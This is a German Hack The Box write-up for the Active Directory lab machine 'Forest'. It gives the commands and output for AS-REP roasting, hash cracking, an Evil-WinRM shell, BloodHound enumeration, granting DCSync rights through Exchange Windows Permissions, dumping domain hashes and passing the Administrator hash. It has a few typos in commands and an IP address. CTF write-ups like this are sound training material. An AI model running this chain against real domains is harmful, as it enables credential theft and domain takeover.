HTB Forest Writeup
Einleitung
„Forest“ ist eine Windows-Maschine, die Active Directory (AD) verwendet. Dieses Writeup beschreibt die Schritte, um Benutzerinformationen zu sammeln, Schwachstellen auszunutzen und letztendlich Zugriff auf den Domain Controller zu erlangen.
Reconnaissance
1. Nmap-Scan
Führen Sie einen Nmap-Scan durch, um offene Ports und Dienste zu identifizieren.
nmap -sC -sV -oA forest 10.10.10.161
Nmap scan report for 10.10.10.161
Host is up (0.025s latency).
Not shown: 65511 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49671/tcp open unknown
49676/tcp open unknown
49677/tcp open unknown
49684/tcp open unknown
49703/tcp open unknown
49974/tcp open unknown
Enumeration
2. Benutzerenumeration
Verwenden Sie enum4ling-ng
, um eine Liste der Benutzer im AD zu erhalten.
enum4linux-ng -A -U "guest" -P "guest" 10.10.10.116
'1145':
username: sebastien
name: Sebastien Caron
acb: '0x00000210'
description: (null)
'1146':
username: lucinda
name: Lucinda Berger
acb: '0x00000210'
description: (null)
'1147':
username: svc-alfresco
name: svc-alfresco
acb: '0x00010210'
description: (null)
'1150':
username: andy
name: Andy Hislip
acb: '0x00000210'
description: (null)
'1151':
username: mark
name: Mark Brandt
acb: '0x00000210'
description: (null)
'1152':
username: santi
name: Santi Rodriguez
acb: '0x00000210'
description: (null)
'500':
username: Administrator
name: Administrator
acb: '0x00000010'
description: Built-in account for administering the computer/domain
'501':
username: Guest
name: (null)
acb: '0x00000215'
description: Built-in account for guest access to the computer/domain
'502':
username: krbtgt
name: (null)
acb: '0x00000011'
description: Key Distribution Center Service Account
'503':
username: DefaultAccount
name: (null)
acb: '0x00000215'
description: A user account managed by the system.
Speichern Sie die Benutzernamen in einer Datei namens users.txt
.
3. AS-REP Roasting
Überprüfen Sie, ob Benutzer das UF_DONT_REQUIRE_PREAUTH
Attribut haben und sammeln Sie ihre AS-REP-Tickets. Wir haben das TGT Ticket von svc-alfresco bekommen.
GetNPUsers.py htb.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.161
$krb5asrep$23$svc-alfresco@HTB.LOCAL:a8a4ff2a7807d0860a6a294815bfb8cd$6a6f35b66b56c6ce8a226f1d07f694dffb59bb966bd28ea4712f597fab3d3c84f378ea9d9710f5ad102d59a13109ac46ddd333b4b05ee16b604fc226c1121043d20b0de804e25c73cf76bbd0da8d7505c7bd63193fae06ee3fa985274c8e7733190e5c10b2ee2f91da1dcb8c13e753195da63be8291ab951828af9cb5947743d4e1cc6496531de8b2476eacc3f5d2ffe97d9636ef508ca5c97915b73c5b048fd8d5eda664624cb8c507787d61278b8e63ce38632e1d7a8f34f7ad983c62df9d36230b99534fb2735a35fcfefbe5b94575b5a4932c5208dcefa22d1b67f982b897dbe51e1e8b2
Passwort-Cracking
4. Hash Cracking
Knacken Sie die gesammelten Hashes mit Hashcat oder John the Ripper.
hashcat -m 18200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
Zugriff auf das System
5. SMB- und WinRM-Verbindung
Überprüfen Sie die Anmeldeinformationen mit CrackMapExec.
crackmapexec smb 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
6. Remote Shell
Verwenden Sie Evil-WinRM, um eine Remote-Shell zu erhalten.
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
Post-Exploitation
7. BloodHound Enumeration
Laden Sie SharpHound hoch und führen Sie es aus, um AD-Informationen zu sammeln.
upload /path/to/SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\svc-alfresco\Documents\
Analysieren Sie die Daten mit BloodHound.
neo4j console
bloodhound
8. Privilegieneskalation
Nutzen Sie die gesammelten Informationen, um sich DCSync-Rechte zu verschaffen.
net user john abc123! /add /domain
net group "Exchange Windows Permissions" john /ad
net localgroup "Remote Management Users" john /add
$SecPassword = ConvertTo-SecureString "abc123!" -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential("htb.local\john", $SecPassword)
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity "john" -RightsToAdd DCSync
9. DC-Sync
Nun kann das Tool impacket-secretsdump mit dem Befehl impacket-secretsdump htb.local/john@10.10.10.161 | tee ntds_hashes.txt
verwendet werden.

10. Root-Flag
Nun kann der Administrator Hash verwendet werden um sich per Win-RM am System anzumeldenevil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
